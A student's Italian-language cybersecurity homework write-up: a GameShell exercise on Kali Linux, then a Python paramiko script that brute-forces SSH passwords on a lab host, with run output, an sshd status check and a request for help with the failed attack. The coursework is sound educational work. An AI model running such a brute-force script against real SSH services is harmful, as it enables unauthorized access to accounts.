

TASK 1:

Task 1:

Familiarizzazione con OS linux, shell e Command Prompt: installeremo su Kali Linux un gioco per familiarizzare con i comandi linux: GameShell.

```
8) Season with a pinch of salt and a few herbs.  
9) Serve hot in a bowl.  
  
~/Mountain/Cave  
[mission 25] $ gsh check  
  
Congratulations, mission 25 has been successfully completed!  
  
[ progress was saved in /home/kali/gameshell-save.sh ]  
  
| |  
--+-----+--  
| Use the command |  
|   $ gsh help   |  
| to get the list of "gsh" commands. |  
--+-----+--  
| |
```

TASK 2:

Task 2:

Si richiede allo studente di scrivere un programma, con un linguaggio a sua scelta tra Python e C, che permetta l'esecuzione di un attacco Brute-Force ad un servizio SSH su una macchina Debian/Ubuntu (kali va benissimo come macchina di test).

```

genpassword.py  esercizisocket.py  task2W8D4.py x
task2W8D4.py > ...
1  import paramiko
2  import socket
3  import time
4
5  def ssh_bruteforce(host, port, username, password_list, timeout=6):
6      client = paramiko.SSHClient()
7      client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
8
9
10     for password in password_list:
11         try:
12             print(f"[+] prova {username}:{password.strip()}")
13             client.connect(hostname=host, port=port, username=username, password=password.strip(), timeout=timeout)
14             print(f"[!] successo! password found: {password.strip()}")
15             client.close()
16             return password.strip()
17         except paramiko.AuthenticationException:
18             continue
19         except (paramiko.SSHException, socket.error) as e:
20             print(f"[!] errore di connessione: {e}")
21             time.sleep(1)
22             continue
23     print("[-] password non trovata.")
24     return None
25
26 if __name__ == "__main__":
27     targethost = "192.168.50.100"
28     targetport = 22
29     username = "emy"

```

```

30
31
32     with open ("/home/kali/Documents/python/task2W8D4.txt", "r") as f:
33         password = f.readlines()
34
35     found = ssh_bruteforce(targethost, targetport, username, password)
36     if found:
37         print(f"[+] credenziali: {username}:{found}")
38     else:
39         print("[-] credenziali non valide trovate.")
40
41

```

```

(kali@kali) - [~/Documents/python]
$ /bin/python /home/kali/Documents/python/task2W8D4.py
[+] prova emy:mecciamopippo
[!] errore di connessione: [Errno None] Unable to connect to port 22 on 192.168.50.100
[-] password non trovata.
[-] credenziali non valide trovate.

(kali@kali) - [~/Documents/python]
$ /bin/python /home/kali/Documents/python/task2W8D4.py
[+] prova emy:mecciamopippo
[-] password non trovata.
[-] credenziali non valide trovate.

```

```

(kali㉿kali)-[~/Documents]
$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; enabled; preset: disabled)
   Active: active (running) since Tue 2025-09-02 04:34:10 EDT; 40s ago
     Invocation: 3e4452e0fdda4e6cafeb40d002e93d3f
       Docs: man:sshd(8)
             man:sshd_config(5)
    Main PID: 24131 (sshd)
      Tasks: 1 (limit: 2208)
     Memory: 3M (peak: 3.4M)
        CPU: 18ms
    CGroup: /system.slice/ssh.service
            └─24131 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Sep 02 04:34:10 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server ...
Sep 02 04:34:10 kali sshd[24131]: Server listening on 0.0.0.0 port 22.
Sep 02 04:34:10 kali sshd[24131]: Server listening on :: port 22.
Sep 02 04:34:10 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

```

questa slide l'ho inserita perchè nonostante le prove e le password immesse nel file txt non mi fa l'attacco bruteforce ho controllato lo status del servizio ssh ho riprovato ma niente se nei commenti alla correzione mi puoi spiegare cosa ho sbagliato così che io possa riprovare.

SPIEGAZIONE DEL CODICE:

per prima cosa ho importato le librerie paramiko (per stabilire connessioni ssh) socket (per gestire gli errori di rete e connessioni TCP) time (usata per stabilire tempi tra una prova ed un'altra) poi ho definito la funzione principale con host: indirizzo target port: porta del servizio ssh username, password list: lista di password da provare timeout tempo massimo del tentativo poi con il for ho creato il ciclo delle password per ogni password viene stampato un messaggio che attesta il tentativo se la password viene trovata viene restituita e si chiude la connessione con client.close() poi ho definito le eccezioni con authentication exception se la password è errata si passa alla successiva ssh exception e socket error problemi di connessione se tutte le password provate sono errate stampa password non trovata e viene restituito il none.

Nell'ultima parte main ho impostato la macchina target con ip porta e username legge la lista dal file txt esegue la funzione di brute force e stampa il risultato se la password è stata trovata o meno.